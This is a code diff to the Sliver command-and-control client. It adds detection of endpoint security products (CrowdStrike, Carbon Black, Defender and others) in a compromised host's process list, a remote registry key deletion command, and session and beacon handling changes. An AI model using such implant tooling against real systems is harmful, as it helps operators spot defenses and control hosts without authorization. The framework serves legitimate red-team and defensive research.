var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -68,10 +71,20 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +99,6 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
@@ -118,23 +130,36 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
})
|
||||
|
||||
if !interactive {
|
||||
overflow = true
|
||||
}
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
@@ -196,7 +221,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
return row
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
// PrintCreateKey - Print the results of the create key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegDeleteKeyCmd - Remove a Windows registry key
|
||||
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
hive := ctx.Flags.String("hive")
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
if regPath == "" {
|
||||
con.PrintErrorf("You must provide a path\n")
|
||||
return
|
||||
}
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if deleteKey.Response != nil && deleteKey.Response.Async {
|
||||
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(deleteKey.Response)
|
||||
} else {
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDeleteKey - Print the results of the delete key command
|
||||
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", deleteKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key removed at %s\\%s", regPath, key)
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CloseSessionCmd - Close an interactive session but do not kill the remote process
|
||||
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Get the active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
}
|
||||
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
return nil, ErrNoSessions
|
||||
}
|
||||
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []int
|
||||
var keys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, int(session.ID))
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
session := sessionsMap[key]
|
||||
if onlyAlive && session.IsDead {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return sessionsMap[uint32(keys[index])], nil
|
||||
return sessionsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
|
||||
@@ -20,6 +20,7 @@ package sessions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
@@ -42,6 +43,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
// Parse C2 Flags
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
@@ -86,9 +88,61 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
switch c2url.Scheme {
|
||||
case "mtls":
|
||||
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
case "wg":
|
||||
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
case "dns":
|
||||
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
case "namedpipe":
|
||||
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
case "tcppivot":
|
||||
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
default:
|
||||
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
|
||||
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
@@ -90,12 +91,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
@@ -108,7 +109,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -122,6 +123,9 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
color := console.Normal
|
||||
@@ -139,7 +143,7 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
@@ -150,9 +154,11 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID
|
||||
func ShortSessionID(id string) string {
|
||||
return strings.Split(id, "-")[0]
|
||||
}
|
||||
@@ -31,8 +31,8 @@ import (
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// SocksAddCmd - Add a new tunneled port forward
|
||||
func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// SocksStartCmd - Add a new tunneled port forward
|
||||
func SocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
@@ -27,8 +27,8 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SocksRmCmd - Remove an existing tunneled port forward
|
||||
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// SocksStopCmd - Remove an existing tunneled port forward
|
||||
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksID := ctx.Flags.Int("id")
|
||||
if socksID < 1 {
|
||||
con.PrintErrorf("Must specify a valid socks5 id\n")
|
||||
@@ -559,6 +559,21 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryDeleteKeyReq:
|
||||
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(task.Request, deleteKeyReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
deleteKey := &sliverpb.RegistryDeleteKey{}
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryListValuesReq:
|
||||
listValuesReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
|
||||
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, err := sessions.SelectSession(false, con)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case sessions.ErrNoSessions:
|
||||
|
||||
+19
-17
@@ -24,7 +24,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
@@ -56,7 +55,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
@@ -69,10 +68,9 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
idNumber, err := strconv.Atoi(id)
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.ID == uint32(idNumber) {
|
||||
if session.ID == id {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
@@ -96,15 +94,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
var sessionKeys []int
|
||||
var sessionKeys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
sessionKeys = append(sessionKeys, int(session.ID))
|
||||
sessionKeys = append(sessionKeys, session.ID)
|
||||
}
|
||||
sort.Ints(sessionKeys)
|
||||
sort.Strings(sessionKeys)
|
||||
|
||||
// Get and sort beacons
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
@@ -122,7 +120,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
sort.Strings(beaconKeys)
|
||||
|
||||
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
|
||||
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
@@ -130,9 +128,10 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, key := range sessionKeys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session := sessionsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"SESSION",
|
||||
strings.Split(session.ID, "-")[0],
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
@@ -142,7 +141,8 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
for _, key := range beaconKeys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"BEACON",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
@@ -167,22 +167,24 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
if index < len(sessionKeys) {
|
||||
return sessionsMap[uint32(sessionKeys[index])], nil, nil
|
||||
return sessionsMap[sessionKeys[index]], nil, nil
|
||||
}
|
||||
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
|
||||
}
|
||||
}
|
||||
return nil, nil, nil
|
||||
}
|
||||
func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
|
||||
|
||||
// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids
|
||||
func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.SliverConsoleClient) (results []string) {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range sessions.Sessions {
|
||||
sid := fmt.Sprintf("%d", s.ID)
|
||||
sid := s.ID
|
||||
if strings.HasPrefix(sid, prefix) {
|
||||
results = append(results, fmt.Sprintf("%d", s.ID))
|
||||
results = append(results, s.ID)
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
|
||||
@@ -62,7 +62,7 @@ func WebsitesAddContentCmd(ctx *grumble.Context, con *console.SliverConsoleClien
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
displayWebsite(web, con)
|
||||
PrintWebsite(web, con)
|
||||
}
|
||||
|
||||
func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {
|
||||
|
||||
@@ -50,5 +50,5 @@ func WebsitesRmContent(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to remove content %s", err)
|
||||
return
|
||||
}
|
||||
displayWebsite(web, con)
|
||||
PrintWebsite(web, con)
|
||||
}
|
||||
@@ -39,5 +39,5 @@ func WebsitesUpdateContentCmd(ctx *grumble.Context, con *console.SliverConsoleCl
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
displayWebsite(web, con)
|
||||
PrintWebsite(web, con)
|
||||
}
|
||||
@@ -20,14 +20,14 @@ package websites
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -75,21 +75,23 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(website.Contents) {
|
||||
displayWebsite(website, con)
|
||||
PrintWebsite(website, con)
|
||||
} else {
|
||||
con.PrintInfof("No content for '%s'", websiteName)
|
||||
}
|
||||
}
|
||||
|
||||
func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
// PrintWebsite - Print a website and its contents, paths, etc.
|
||||
func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
con.Println(console.Clearln + console.Info + web.Name)
|
||||
con.Println()
|
||||
table := tabwriter.NewWriter(con.App.Stdout(), 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Path")),
|
||||
strings.Repeat("=", len("Content-type")),
|
||||
strings.Repeat("=", len("Size")))
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Path",
|
||||
"Content-type",
|
||||
"Size",
|
||||
})
|
||||
sortedContents := []*clientpb.WebContent{}
|
||||
for _, content := range web.Contents {
|
||||
sortedContents = append(sortedContents, content)
|
||||
@@ -98,7 +100,11 @@ func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
|
||||
tw.AppendHeader(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Println(tw.Render())
|
||||
}
|
